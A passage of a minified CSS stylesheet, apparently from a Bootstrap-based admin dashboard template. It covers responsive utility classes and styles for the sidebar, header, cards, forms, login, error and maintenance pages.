!important}.row-gap-xl-1{row-gap:.25rem !important}.row-gap-xl-2{row-gap:.5rem !important}.row-gap-xl-3{row-gap:1rem !important}.row-gap-xl-4{row-gap:1.5rem !important}.row-gap-xl-5{row-gap:3rem !important}.column-gap-xl-0{column-gap:0 !important}.column-gap-xl-1{column-gap:.25rem !important}.column-gap-xl-2{column-gap:.5rem !important}.column-gap-xl-3{column-gap:1rem !important}.column-gap-xl-4{column-gap:1.5rem !important}.column-gap-xl-5{column-gap:3rem !important}.text-xl-start{text-align:left !important}.text-xl-end{text-align:right !important}.text-xl-center{text-align:center !important}}@media(min-width: 1400px){.float-xxl-start{float:left !important}.float-xxl-end{float:right !important}.float-xxl-none{float:none !important}.object-fit-xxl-contain{object-fit:contain !important}.object-fit-xxl-cover{object-fit:cover !important}.object-fit-xxl-fill{object-fit:fill !important}.object-fit-xxl-scale{object-fit:scale-down !important}.object-fit-xxl-none{object-fit:none !important}.d-xxl-inline{display:inline !important}.d-xxl-inline-block{display:inline-block !important}.d-xxl-block{display:block !important}.d-xxl-grid{display:grid !important}.d-xxl-inline-grid{display:inline-grid !important}.d-xxl-table{display:table !important}.d-xxl-table-row{display:table-row !important}.d-xxl-table-cell{display:table-cell !important}.d-xxl-flex{display:flex !important}.d-xxl-inline-flex{display:inline-flex !important}.d-xxl-none{display:none !important}.flex-xxl-fill{flex:1 1 auto !important}.flex-xxl-row{flex-direction:row !important}.flex-xxl-column{flex-direction:column !important}.flex-xxl-row-reverse{flex-direction:row-reverse !important}.flex-xxl-column-reverse{flex-direction:column-reverse !important}.flex-xxl-grow-0{flex-grow:0 !important}.flex-xxl-grow-1{flex-grow:1 !important}.flex-xxl-shrink-0{flex-shrink:0 !important}.flex-xxl-shrink-1{flex-shrink:1 !important}.flex-xxl-wrap{flex-wrap:wrap !important}.flex-xxl-nowrap{flex-wrap:nowrap !important}.flex-xxl-wrap-reverse{flex-wrap:wrap-reverse !important}.justify-content-xxl-start{justify-content:flex-start !important}.justify-content-xxl-end{justify-content:flex-end !important}.justify-content-xxl-center{justify-content:center !important}.justify-content-xxl-between{justify-content:space-between !important}.justify-content-xxl-around{justify-content:space-around !important}.justify-content-xxl-evenly{justify-content:space-evenly !important}.align-items-xxl-start{align-items:flex-start !important}.align-items-xxl-end{align-items:flex-end !important}.align-items-xxl-center{align-items:center !important}.align-items-xxl-baseline{align-items:baseline !important}.align-items-xxl-stretch{align-items:stretch !important}.align-content-xxl-start{align-content:flex-start !important}.align-content-xxl-end{align-content:flex-end !important}.align-content-xxl-center{align-content:center !important}.align-content-xxl-between{align-content:space-between !important}.align-content-xxl-around{align-content:space-around !important}.align-content-xxl-stretch{align-content:stretch !important}.align-self-xxl-auto{align-self:auto !important}.align-self-xxl-start{align-self:flex-start !important}.align-self-xxl-end{align-self:flex-end !important}.align-self-xxl-center{align-self:center !important}.align-self-xxl-baseline{align-self:baseline !important}.align-self-xxl-stretch{align-self:stretch !important}.order-xxl-first{order:-1 !important}.order-xxl-0{order:0 !important}.order-xxl-1{order:1 !important}.order-xxl-2{order:2 !important}.order-xxl-3{order:3 !important}.order-xxl-4{order:4 !important}.order-xxl-5{order:5 !important}.order-xxl-last{order:6 !important}.m-xxl-0{margin:0 !important}.m-xxl-1{margin:.25rem !important}.m-xxl-2{margin:.5rem !important}.m-xxl-3{margin:1rem !important}.m-xxl-4{margin:1.5rem !important}.m-xxl-5{margin:3rem !important}.m-xxl-auto{margin:auto !important}.mx-xxl-0{margin-right:0 !important;margin-left:0 !important}.mx-xxl-1{margin-right:.25rem !important;margin-left:.25rem !important}.mx-xxl-2{margin-right:.5rem !important;margin-left:.5rem !important}.mx-xxl-3{margin-right:1rem !important;margin-left:1rem !important}.mx-xxl-4{margin-right:1.5rem !important;margin-left:1.5rem !important}.mx-xxl-5{margin-right:3rem !important;margin-left:3rem !important}.mx-xxl-auto{margin-right:auto !important;margin-left:auto !important}.my-xxl-0{margin-top:0 !important;margin-bottom:0 !important}.my-xxl-1{margin-top:.25rem !important;margin-bottom:.25rem !important}.my-xxl-2{margin-top:.5rem !important;margin-bottom:.5rem !important}.my-xxl-3{margin-top:1rem !important;margin-bottom:1rem !important}.my-xxl-4{margin-top:1.5rem !important;margin-bottom:1.5rem !important}.my-xxl-5{margin-top:3rem !important;margin-bottom:3rem !important}.my-xxl-auto{margin-top:auto !important;margin-bottom:auto !important}.mt-xxl-0{margin-top:0 !important}.mt-xxl-1{margin-top:.25rem !important}.mt-xxl-2{margin-top:.5rem !important}.mt-xxl-3{margin-top:1rem !important}.mt-xxl-4{margin-top:1.5rem !important}.mt-xxl-5{margin-top:3rem !important}.mt-xxl-auto{margin-top:auto !important}.me-xxl-0{margin-right:0 !important}.me-xxl-1{margin-right:.25rem !important}.me-xxl-2{margin-right:.5rem !important}.me-xxl-3{margin-right:1rem !important}.me-xxl-4{margin-right:1.5rem !important}.me-xxl-5{margin-right:3rem !important}.me-xxl-auto{margin-right:auto !important}.mb-xxl-0{margin-bottom:0 !important}.mb-xxl-1{margin-bottom:.25rem !important}.mb-xxl-2{margin-bottom:.5rem !important}.mb-xxl-3{margin-bottom:1rem !important}.mb-xxl-4{margin-bottom:1.5rem !important}.mb-xxl-5{margin-bottom:3rem !important}.mb-xxl-auto{margin-bottom:auto !important}.ms-xxl-0{margin-left:0 !important}.ms-xxl-1{margin-left:.25rem !important}.ms-xxl-2{margin-left:.5rem !important}.ms-xxl-3{margin-left:1rem !important}.ms-xxl-4{margin-left:1.5rem !important}.ms-xxl-5{margin-left:3rem !important}.ms-xxl-auto{margin-left:auto !important}.m-xxl-n1{margin:-0.25rem !important}.m-xxl-n2{margin:-0.5rem !important}.m-xxl-n3{margin:-1rem !important}.m-xxl-n4{margin:-1.5rem !important}.m-xxl-n5{margin:-3rem !important}.mx-xxl-n1{margin-right:-0.25rem !important;margin-left:-0.25rem !important}.mx-xxl-n2{margin-right:-0.5rem !important;margin-left:-0.5rem !important}.mx-xxl-n3{margin-right:-1rem !important;margin-left:-1rem !important}.mx-xxl-n4{margin-right:-1.5rem !important;margin-left:-1.5rem !important}.mx-xxl-n5{margin-right:-3rem !important;margin-left:-3rem !important}.my-xxl-n1{margin-top:-0.25rem !important;margin-bottom:-0.25rem !important}.my-xxl-n2{margin-top:-0.5rem !important;margin-bottom:-0.5rem !important}.my-xxl-n3{margin-top:-1rem !important;margin-bottom:-1rem !important}.my-xxl-n4{margin-top:-1.5rem !important;margin-bottom:-1.5rem !important}.my-xxl-n5{margin-top:-3rem !important;margin-bottom:-3rem !important}.mt-xxl-n1{margin-top:-0.25rem !important}.mt-xxl-n2{margin-top:-0.5rem !important}.mt-xxl-n3{margin-top:-1rem !important}.mt-xxl-n4{margin-top:-1.5rem !important}.mt-xxl-n5{margin-top:-3rem !important}.me-xxl-n1{margin-right:-0.25rem !important}.me-xxl-n2{margin-right:-0.5rem !important}.me-xxl-n3{margin-right:-1rem !important}.me-xxl-n4{margin-right:-1.5rem !important}.me-xxl-n5{margin-right:-3rem !important}.mb-xxl-n1{margin-bottom:-0.25rem !important}.mb-xxl-n2{margin-bottom:-0.5rem !important}.mb-xxl-n3{margin-bottom:-1rem !important}.mb-xxl-n4{margin-bottom:-1.5rem !important}.mb-xxl-n5{margin-bottom:-3rem !important}.ms-xxl-n1{margin-left:-0.25rem !important}.ms-xxl-n2{margin-left:-0.5rem !important}.ms-xxl-n3{margin-left:-1rem !important}.ms-xxl-n4{margin-left:-1.5rem !important}.ms-xxl-n5{margin-left:-3rem !important}.p-xxl-0{padding:0 !important}.p-xxl-1{padding:.25rem !important}.p-xxl-2{padding:.5rem !important}.p-xxl-3{padding:1rem !important}.p-xxl-4{padding:1.5rem !important}.p-xxl-5{padding:3rem !important}.px-xxl-0{padding-right:0 !important;padding-left:0 !important}.px-xxl-1{padding-right:.25rem !important;padding-left:.25rem !important}.px-xxl-2{padding-right:.5rem !important;padding-left:.5rem !important}.px-xxl-3{padding-right:1rem !important;padding-left:1rem !important}.px-xxl-4{padding-right:1.5rem !important;padding-left:1.5rem !important}.px-xxl-5{padding-right:3rem !important;padding-left:3rem !important}.py-xxl-0{padding-top:0 !important;padding-bottom:0 !important}.py-xxl-1{padding-top:.25rem !important;padding-bottom:.25rem !important}.py-xxl-2{padding-top:.5rem !important;padding-bottom:.5rem !important}.py-xxl-3{padding-top:1rem !important;padding-bottom:1rem !important}.py-xxl-4{padding-top:1.5rem !important;padding-bottom:1.5rem !important}.py-xxl-5{padding-top:3rem !important;padding-bottom:3rem !important}.pt-xxl-0{padding-top:0 !important}.pt-xxl-1{padding-top:.25rem !important}.pt-xxl-2{padding-top:.5rem !important}.pt-xxl-3{padding-top:1rem !important}.pt-xxl-4{padding-top:1.5rem !important}.pt-xxl-5{padding-top:3rem !important}.pe-xxl-0{padding-right:0 !important}.pe-xxl-1{padding-right:.25rem !important}.pe-xxl-2{padding-right:.5rem !important}.pe-xxl-3{padding-right:1rem !important}.pe-xxl-4{padding-right:1.5rem !important}.pe-xxl-5{padding-right:3rem !important}.pb-xxl-0{padding-bottom:0 !important}.pb-xxl-1{padding-bottom:.25rem !important}.pb-xxl-2{padding-bottom:.5rem !important}.pb-xxl-3{padding-bottom:1rem !important}.pb-xxl-4{padding-bottom:1.5rem !important}.pb-xxl-5{padding-bottom:3rem !important}.ps-xxl-0{padding-left:0 !important}.ps-xxl-1{padding-left:.25rem !important}.ps-xxl-2{padding-left:.5rem !important}.ps-xxl-3{padding-left:1rem !important}.ps-xxl-4{padding-left:1.5rem !important}.ps-xxl-5{padding-left:3rem !important}.gap-xxl-0{gap:0 !important}.gap-xxl-1{gap:.25rem !important}.gap-xxl-2{gap:.5rem !important}.gap-xxl-3{gap:1rem !important}.gap-xxl-4{gap:1.5rem !important}.gap-xxl-5{gap:3rem !important}.row-gap-xxl-0{row-gap:0 !important}.row-gap-xxl-1{row-gap:.25rem !important}.row-gap-xxl-2{row-gap:.5rem !important}.row-gap-xxl-3{row-gap:1rem !important}.row-gap-xxl-4{row-gap:1.5rem !important}.row-gap-xxl-5{row-gap:3rem !important}.column-gap-xxl-0{column-gap:0 !important}.column-gap-xxl-1{column-gap:.25rem !important}.column-gap-xxl-2{column-gap:.5rem !important}.column-gap-xxl-3{column-gap:1rem !important}.column-gap-xxl-4{column-gap:1.5rem !important}.column-gap-xxl-5{column-gap:3rem !important}.text-xxl-start{text-align:left !important}.text-xxl-end{text-align:right !important}.text-xxl-center{text-align:center !important}}@media(min-width: 1200px){.fs-1{font-size:2.25rem !important}.fs-2{font-size:1.8rem !important}.fs-3{font-size:1.575rem !important}.fs-4{font-size:1.35rem !important}}@media print{.d-print-inline{display:inline !important}.d-print-inline-block{display:inline-block !important}.d-print-block{display:block !important}.d-print-grid{display:grid !important}.d-print-inline-grid{display:inline-grid !important}.d-print-table{display:table !important}.d-print-table-row{display:table-row !important}.d-print-table-cell{display:table-cell !important}.d-print-flex{display:flex !important}.d-print-inline-flex{display:inline-flex !important}.d-print-none{display:none !important}}body{background:#e4e8ee;overflow:hidden}*::-webkit-scrollbar{width:.5rem}*::-webkit-scrollbar-track{background:#b6b8c4}*::-webkit-scrollbar-thumb{background-color:#e5e6ec;border:3px solid #b6b8c4}a{color:#2d2e35;text-decoration:none}a:hover{color:#080809;text-decoration:none}.badge{font-weight:600}.btn-warning{color:#000}.btn-warning:hover{color:#000}.btn-info{color:#fff}.btn-info:hover{color:#fff}.btn-danger{color:#fff}.btn-danger:hover{color:#fff}.btn-success{color:#fff}.btn-success:hover{color:#fff}.btn-dark{color:#fff}.btn-dark:hover{color:#fff}.btn-light{color:#000}.btn-light:hover{color:#000}.btn-primary{color:#fff}.btn-primary:hover{color:#fff}.btn-secondary,.btn-outline-secondary{color:#000}.btn-secondary:hover,.btn-outline-secondary:hover{color:#000}.btn-white{background:#fff;color:#000}.btn-white:hover{background:#fff;color:#5b4fb9;border:1px solid #5b4fb9}.progress{background:#edf0f7}.progress.thin{height:3px}.progress.small{height:5px}.progress.medium{height:8px}.progress.lg{height:10px}.progress-spacer{padding:2px;background:#fff}.progress-vertical{min-height:250px;height:250px;display:inline-block;position:relative;margin:0 1rem 0 0}.progress-vertical.thin{width:3px}.progress-vertical.small{width:7px}.progress-vertical.medium{width:12px}.progress-vertical.lg{width:15px}.progress-vertical.xl{width:30px}.progress-vertical .progress-bar{width:100%;position:absolute;bottom:0}.carousel-control-prev-icon,.carousel-control-next-icon{width:4rem;height:4rem}.custom-tooltip-danger .tooltip-inner{background-color:#f27436}.custom-tooltip-danger[data-popper-placement^=top] .tooltip-arrow::before{border-top-color:#f27436}.custom-tooltip-danger[data-popper-placement^=left] .tooltip-arrow::before{border-left-color:#f27436}.custom-tooltip-danger[data-popper-placement^=bottom] .tooltip-arrow::before{border-bottom-color:#f27436}.custom-tooltip-danger[data-popper-placement^=right] .tooltip-arrow::before{border-right-color:#f27436}.custom-tooltip-success .tooltip-inner{background-color:#7aa748}.custom-tooltip-success[data-popper-placement^=top] .tooltip-arrow::before{border-top-color:#7aa748}.custom-tooltip-success[data-popper-placement^=left] .tooltip-arrow::before{border-left-color:#7aa748}.custom-tooltip-success[data-popper-placement^=bottom] .tooltip-arrow::before{border-bottom-color:#7aa748}.custom-tooltip-success[data-popper-placement^=right] .tooltip-arrow::before{border-right-color:#7aa748}.custom-tooltip-info .tooltip-inner{background-color:#00a1ff}.custom-tooltip-info[data-popper-placement^=top] .tooltip-arrow::before{border-top-color:#00a1ff}.custom-tooltip-info[data-popper-placement^=left] .tooltip-arrow::before{border-left-color:#00a1ff}.custom-tooltip-info[data-popper-placement^=bottom] .tooltip-arrow::before{border-bottom-color:#00a1ff}.custom-tooltip-info[data-popper-placement^=right] .tooltip-arrow::before{border-right-color:#00a1ff}.custom-tooltip-warning .tooltip-inner{background-color:#ffc23e}.custom-tooltip-warning[data-popper-placement^=top] .tooltip-arrow::before{border-top-color:#ffc23e}.custom-tooltip-warning[data-popper-placement^=left] .tooltip-arrow::before{border-left-color:#ffc23e}.custom-tooltip-warning[data-popper-placement^=bottom] .tooltip-arrow::before{border-bottom-color:#ffc23e}.custom-tooltip-warning[data-popper-placement^=right] .tooltip-arrow::before{border-right-color:#ffc23e}.form-label{font-weight:600;margin-bottom:.2rem}.form-check-label{margin:3px 0 0 10px}.form-check-input{border-color:#d0d5e1}.form-check-input:checked{background-color:#5b4fb9;border-color:#5b4fb9}.form-check-input:disabled~.form-check-label,.form-check-input [disabled]~.form-check-label{opacity:.7}.form-switch .form-check-input[type=checkbox]{-webkit-border-radius:30px;-moz-border-radius:30px;border-radius:30px;width:3em !important;height:1.5em !important;margin-left:-2.5em}.form-switch .form-check-reverse{padding-right:3.5em}.form-switch .form-check-reverse .form-check-input{margin-right:-3.5em}.form-check-input[type=checkbox]{-webkit-border-radius:5px;-moz-border-radius:5px;border-radius:5px;width:1.5rem !important;height:1.5rem !important;margin-top:.15em;min-height:auto;padding:0}.form-check-input[type=radio]{-webkit-border-radius:50px;-moz-border-radius:50px;border-radius:50px;width:1.5rem !important;height:1.5rem !important;margin-top:.15em;min-height:auto;padding:0}.form-check-inline{margin:3px 1rem 3px 0}.form-check-reverse{padding-right:2.5em}.form-check-reverse .form-check-input{margin-right:-2.5em}.form-switch .form-check-label{margin:3px 0 0 10px}.form-switch.form-check-reverse{padding-right:3.5em}.form-switch.form-check-reverse .form-check-input{margin-right:-3.5em}.custom-tabs-container .nav-tabs{margin:0;border-bottom:1px solid #e5e6ec}.custom-tabs-container .nav-tabs .nav-link{padding:.5rem 1rem;color:#1c1c1c}.custom-tabs-container .nav-tabs .nav-link.active{border-color:rgba(0,0,0,0) rgba(0,0,0,0) #5b4fb9;color:#5b4fb9;background:rgba(0,0,0,0);border-bottom-width:3px}.custom-tabs-container .nav-tabs .nav-link:hover{border-color:rgba(0,0,0,0) rgba(0,0,0,0) #d0d5e1;border-bottom-width:3px}.custom-tabs-container .tab-content{padding:1.5rem 0 0 0}.custom-tabs-container .tab-content.h-300{min-height:300px}.nav-tabs .nav-link{margin-bottom:-1px}.card{border:0;box-shadow:0px 2px 7px rgba(50,80,150,.1)}.card-header{border:0}.card-footer{border:0}.card-title{margin:0}.card-btn-floating{position:absolute;right:30px;top:0}.dropdown-menu{border:1px solid #d2d3dd}.dropdown-menu:after{content:"";position:absolute;z-index:-1;width:1rem;height:1rem;background:#fff;top:-9px;left:1rem;-webkit-transform:rotate(45deg);-ms-transform:rotate(45deg);transform:rotate(45deg);border-width:1px 0 0 1px;border-style:solid;border-color:#d2d3dd}.dropdown-menu.dropdown-menu-end:after{left:inherit;right:1rem}.dropup .dropdown-menu:after{top:inherit;bottom:-8px;left:10px;border-width:0 1px 1px 0;border-style:solid;border-color:#d2d3dd}.dropend .dropdown-menu:after{top:8px;left:-8px;border-width:0 0 1px 1px;border-style:solid;border-color:#d2d3dd}.dropstart .dropdown-menu:after{left:inherit;top:8px;right:-8px;border-width:1px 1px 0 0;border-style:solid;border-color:#d2d3dd}.dropdown-menu-md{min-width:320px}.dropdown-menu-sm{min-width:270px}@media(min-width: 992px){.dropdown:hover>.dropdown-menu{display:block}.dropdown:hover .dropdown-menu-end{right:0}}.breadcrumb{margin:0}.breadcrumb .breadcrumb-item{display:flex;align-items:center}.breadcrumb .breadcrumb-item i{font-size:1.5rem;margin-right:.75rem;color:#5b4fb9}.breadcrumb .breadcrumb-item+.breadcrumb-item::before{font-family:"bootstrap-icons" !important;content:"";font-size:1.2rem;line-height:1;vertical-align:middle}.breadcrumb .breadcrumb-active{color:#5b4fb9}.table-outer{-webkit-border-radius:8px;-moz-border-radius:8px;border-radius:8px;overflow:hidden;border:1px solid #e5e6ec}.table thead td{font-weight:600}.table tbody td{color:#616161}.table tr:last-child td{border:0}.toast{border:1px solid #e5e6ec;box-shadow:0 10px 10px rgba(0,0,0,.03)}.toast-header{color:#1c1c1c;border-bottom:1px solid #e5e6ec}.img-1x{width:1rem;height:1rem}.img-1xx{width:1.5rem;height:1.5rem}.img-2x{width:2rem;height:2rem}.img-2xx{width:2.5rem;height:2.5rem}.img-3x{width:3rem;height:3rem}.img-3xx{width:3.5rem;height:3.5rem}.img-4x{width:4rem;height:4rem}.img-4xx{width:4.5rem;height:4.5rem}.img-5x{width:5rem;height:5rem}.img-5xx{width:5.5rem;height:5.5rem}.img-6x{width:6rem;height:6rem}.img-7x{width:7rem;height:7rem}.icon-box{display:flex;align-items:center;justify-content:center}.icon-box.sm{width:2rem;height:2rem}.icon-box.md{width:3rem;height:3rem}.icon-box.lg{width:4rem;height:4rem}.icon-box.xl{width:5rem;height:5rem}.shadow-light{box-shadow:0 0 20px #fff}.shadow-solid-rb{box-shadow:5px 5px 0px rgba(179,174,169,.3)}.card-height-420{height:420px}.card-height-350{height:350px}.chart-height{height:360px}.chart-height2{height:260px}.card-loader{position:absolute;top:0;left:0;right:0;bottom:0;background:rgba(255,255,255,.7);z-index:100;-webkit-border-radius:10px;-moz-border-radius:10px;border-radius:10px;display:flex;align-items:center;justify-content:center}.card-loader .spinner-border{width:5rem;height:5rem}.graph-body{min-height:250px}.graph-body-xl{min-height:350px}.map-body-xxl{min-height:550px}.graph-mini{width:70px}.card-graph{position:absolute;bottom:0;right:0}.page-wrapper{margin:0}.page-wrapper.pinned .main-container{padding-left:116px}@media screen and (max-width: 991.98px){.page-wrapper .sidebar-wrapper{left:-270px}.page-wrapper.toggled .sidebar-wrapper{left:20px;-webkit-border-radius:12px 30px 12px 12px;-moz-border-radius:12px 30px 12px 12px;border-radius:12px 30px 12px 12px}.page-wrapper.toggled .toggle-sidebar{position:fixed;top:50px;left:220px;z-index:30}.page-wrapper .main-container{padding-left:10px}.page-wrapper.pinned .main-container{padding-left:0}}@media(min-width: 992px){.page-wrapper.pinned:not(.sidebar-hovered) .sidebar-wrapper{width:96px}.page-wrapper.pinned:not(.sidebar-hovered) .sidebar-wrapper .sidebar-menu .menu-text,.page-wrapper.pinned:not(.sidebar-hovered) .sidebar-wrapper .sidebar-menu .treeview.active .treeview-menu,.page-wrapper.pinned:not(.sidebar-hovered) .sidebar-wrapper .sidebar-menu li.treeview:after{display:none !important}}.main-container{padding:10px 0 10px 270px;-webkit-transition:padding-left .1s ease;transition:padding-left .1s ease;position:relative}.main-container:before{content:"";position:absolute;left:10px;top:10px;bottom:10px;background:url(../images/sidebar-bg.svg) no-repeat;background-size:100%;min-width:500px;max-width:500px;-webkit-border-radius:12px;-moz-border-radius:12px;border-radius:12px}.sidebar-wrapper{background-color:#fff;-webkit-border-radius:12px;-moz-border-radius:12px;border-radius:12px;width:250px;position:fixed;top:20px;left:20px;bottom:20px;z-index:11;-webkit-transition:left .3s ease,width .3s ease;transition:left .3s ease,width .3s ease;box-shadow:0px 2px 7px rgba(50,80,150,.1)}.app-brand{min-height:70px;overflow:hidden}.app-brand .logo{max-width:190px;max-height:45px}.app-brand-sm .logo{max-width:190px;max-height:32px}.toggle-sidebar{background:#5b4fb9;border:0;padding:.5rem;margin:0 1rem 0 0;-webkit-border-radius:10px;-moz-border-radius:10px;border-radius:10px}.toggle-sidebar i{font-size:1.25rem;color:#fff}.pin-sidebar{background:#fff;border:0;padding:.5rem;-webkit-border-radius:10px;-moz-border-radius:10px;border-radius:10px}.pin-sidebar i{font-size:1.25rem;color:#5b4fb9}.toggle-sidebar{display:none}.pin-sidebar{display:flex}@media(max-width: 991.98px){.toggle-sidebar{display:flex}}@media(max-width: 992px){.pin-sidebar{display:none}}.sidebar-menu{list-style-type:none;margin:0 1rem;padding:0}.sidebar-menu>li{position:relative}.sidebar-menu>li.treeview:after{font-family:"bootstrap-icons" !important;font-weight:700;font-size:.75rem;content:"";display:inline-block;position:absolute;right:10px;top:17px;color:#5b4fb9;transition:all .5s}.sidebar-menu>li.treeview.active:after{transform:rotate(-90deg);color:#2a2a2a}.sidebar-menu>li.treeview.current-page:after{transform:rotate(-90deg);color:#fff}.sidebar-menu>li>a{padding:7px 25px 7px 15px;display:flex;align-items:center;text-decoration:none;color:#2a2a2a;font-size:.875rem;white-space:nowrap;font-weight:500;-webkit-border-radius:10px;-moz-border-radius:10px;border-radius:10px}.sidebar-menu>li>a .menu-text{transition:all .3s ease}.sidebar-menu>li>a>i{font-size:1rem;flex-shrink:0;width:36px;height:36px;margin-right:10px;border:1px solid #e4e6ee;display:flex;align-items:center;justify-content:center;-webkit-border-radius:10px;-moz-border-radius:10px;border-radius:10px}.sidebar-menu>li:hover>a{color:#2a2a2a;background:#f5f6fa}.sidebar-menu>li:hover>a .menu-text{letter-spacing:.8px}.sidebar-menu>li>.treeview-menu{padding:5px 0 5px 0}.sidebar-menu>li.active>a{color:#2a2a2a;background:#f5f6fa}.sidebar-menu>li.active>a i{border:1px solid #5b4fb9;color:#2a2a2a}.sidebar-menu li.active>.treeview-menu{display:block}.sidebar-menu>li.current-page>a{color:#fff;background:#5b4fb9}.sidebar-menu>li.current-page>a:hover{color:#fff;background:#5b4fb9}.sidebar-menu>li.current-page>a i{border:1px solid #6c61c0;color:#fff}.sidebar-menu .treeview-menu{display:none;list-style:none;margin:0;padding:0 0 0 5px}.sidebar-menu .treeview-menu .treeview-menu{padding-left:20px}.sidebar-menu .treeview-menu>li{margin:0}.sidebar-menu .treeview-menu>li>a{padding:7px 10px 7px 25px;margin-left:35px;border-left:1px solid #e7e9f1;display:block;color:#2a2a2a;text-decoration:none;white-space:nowrap;transition:all .3s ease}.sidebar-menu .treeview-menu>li>a i{float:right;transition:all .5s;transform:rotate(0deg);font-size:.75rem}.sidebar-menu .treeview-menu>li>a:hover{color:#5b4fb9;border-left:1px solid #000;letter-spacing:.8px}.sidebar-menu .treeview-menu>li>a.active-sub{color:#5b4fb9;border-left:1px solid #5b4fb9}.sidebar-menu .treeview-menu>li>a.active-sub:hover{color:#5b4fb9;background:rgba(0,0,0,0)}.sidebar-menu .treeview-menu>li.active>a i{transform:rotate(-90deg)}.app-container{padding:0;position:relative}.app-header{padding:0 1.5rem;position:relative;min-height:60px;margin:0 0 1.5rem 0}.search-container{position:relative}.search-container .form-control{min-width:240px;padding-left:40px;border-color:#fff;-webkit-border-radius:10px;-moz-border-radius:10px;border-radius:10px}.search-container .form-control:hover{border:1px solid #5b4fb9}.search-container i{position:absolute;left:17px;top:6px;font-size:1rem;color:#5b4fb9}.header-actions{display:flex;align-items:center;margin:0 0 0 auto}.header-actions .dropdown-toggle::after{display:none}.header-actions .dropdown-toggle .count-label{position:absolute;top:8px;right:5px;width:18px;height:18px;background:#5b4fb9;display:flex;align-items:center;justify-content:center;color:#fff;font-size:.7rem;font-weight:600;-webkit-border-radius:10px;-moz-border-radius:10px;border-radius:10px}.header-actions .dropdown-toggle .count-label.info{background:#00a1ff}.header-actions .dropdown-toggle .count-label.success{background:#7aa748}.header-actions .dropdown-toggle .count-label.warning{background:#ffc23e}.user-settings{border-left:1px solid #dfe6f0;display:flex;align-items:center;padding:0 0 0 1rem}@media(max-width: 991.98px){.user-settings{border-left:0;padding:0}}.app-body{padding:0 1rem 1.25rem 1.5rem;height:calc(100vh - 160px);overflow:auto}@media(max-width: 991.98px){.app-body{height:calc(100vh - 150px)}}.app-footer{font-size:.8rem;padding:.6rem 1.5rem 1rem 1.5rem}.app-footer span{color:#5b4fb9}@media(max-width: 991.98px){.app-footer{padding:.6rem 1.5rem .5rem 1.5rem}}#creditCardType{display:flex;align-items:center;flex-direction:row}#creditCardType .credit-card{margin:5px 5px 0 0;display:inline-block}#creditCardType .credit-card img{max-width:36px;filter:grayscale(100%)}#creditCardType .credit-card.highlight img{filter:grayscale(10%)}.stacked-images{display:flex}.stacked-images.center{justify-content:center}.stacked-images img{-webkit-border-radius:50px;-moz-border-radius:50px;border-radius:50px;width:48px;height:48px;margin-right:-10px}.stacked-images .plus{display:flex;align-items:center;justify-content:center;-webkit-border-radius:50px;-moz-border-radius:50px;border-radius:50px;color:#fff;width:48px;height:48px}.mapael .map{position:relative}.mapael .mapTooltip{position:absolute;background-color:#fff;opacity:.9;border:2px solid #f27436;-webkit-border-radius:10px;-moz-border-radius:10px;border-radius:10px;padding:10px;z-index:1000;max-width:200px;display:none;color:#000}.mapael .areaLegend{margin-bottom:20px}.sidebarMenuScroll{height:calc(100vh - 160px);overflow:hidden}.sidebarMenuScroll .os-scrollbar-vertical{left:0;right:initial}.scroll250{height:250px;overflow:hidden}.scroll350{height:350px;overflow:hidden}.scroll300{height:300px;overflow:hidden}.scroll290{height:290px;overflow:hidden}.rating-stars{width:120px !important;line-height:100%}.rating-stars img{width:18px;height:18px}.jvectormap-container{width:100%;height:100%;position:relative;overflow:hidden;-ms-touch-action:none;touch-action:none}.jvectormap-tip{position:absolute;display:none;-webkit-border-radius:0px;-moz-border-radius:0px;border-radius:0px;background:#000;color:#fff;font-size:.75rem;padding:6px 12px}.auto-align-graph .apexcharts-canvas{margin:auto}.icons-container{display:grid;grid-template-columns:repeat(8, 1fr);grid-auto-rows:100px;column-gap:15px;row-gap:1em;text-align:center}.icons-container .icon{-webkit-border-radius:5px;-moz-border-radius:5px;border-radius:5px;border:1px solid #e5e6ec;padding:10px;display:flex;align-items:center;flex-direction:column;justify-content:center}.icons-container .icon i{font-size:1.5rem}.icons-container .icon:hover{border:1px dashed #5b4fb9;color:#5b4fb9}@media(max-width: 991.98px){.icons-container{display:grid;grid-template-columns:repeat(3, 1fr)}}.invoice-logo{max-width:200px}.login-bg{background:url(../images/login.svg) no-repeat;background-position:left bottom;background-size:40%}.auth-container{padding:20px;-webkit-border-radius:12px;-moz-border-radius:12px;border-radius:12px;background:#e4e8ee;min-height:calc(100vh - 20px);position:relative;z-index:1}.auth-container:before{content:"";position:absolute;left:10px;top:10px;bottom:10px;background:url(../images/sidebar-bg.svg) no-repeat;background-size:100%;min-width:50vw;max-width:50vw;-webkit-border-radius:12px;-moz-border-radius:12px;border-radius:12px;z-index:-1}.auth-container:after{content:"";position:absolute;left:20px;bottom:0px;background:url(../images/login.svg) no-repeat;background-size:100%;width:300px;height:300px;z-index:1}@media(max-width: 1199.98px){.auth-container:after{display:none}}.auth-box{box-shadow:30px 30px 30px #e8ebf1;-webkit-border-radius:10px;-moz-border-radius:10px;border-radius:10px;padding:20px;margin:0;min-width:360px;max-width:360px;background:#fff;position:relative;z-index:10}.auth-logo{display:inline-flex}.auth-logo img{max-width:210px;max-height:45px}.error-container{background:#e4e8ee url(../images/error.svg) no-repeat;background-size:cover;padding:20px;-webkit-border-radius:12px;-moz-border-radius:12px;border-radius:12px;min-height:calc(100vh - 20px);display:flex;align-items:center;justify-content:center;backdrop-filter:blur(3px)}.error-container .error-card{background:rgba(218,229,245,.8);backdrop-filter:blur(3px);-webkit-border-radius:12px;-moz-border-radius:12px;border-radius:12px;padding:1.5rem}.error-container h1,.error-container .h1{font-size:12rem;font-weight:900;text-shadow:5px 5px 0 #000}.maintenance-container{background:#e4e8ee url(../images/dots.svg) no-repeat;background-size:cover;padding:20px;-webkit-border-radius:12px;-moz-border-radius:12px;border-radius:12px;min-height:calc(100vh - 20px);display:flex;align-items:center;justify-content:center}.maintenance-container h1,.maintenance-container .h1{font-size:12rem;font-weight:900;text-shadow:5px 5px 0 #d0d5e1}.maintenance-container h2,.maintenance-container .h2{font-weight:900;text-shadow:5px 5px 0 #d0d5e1}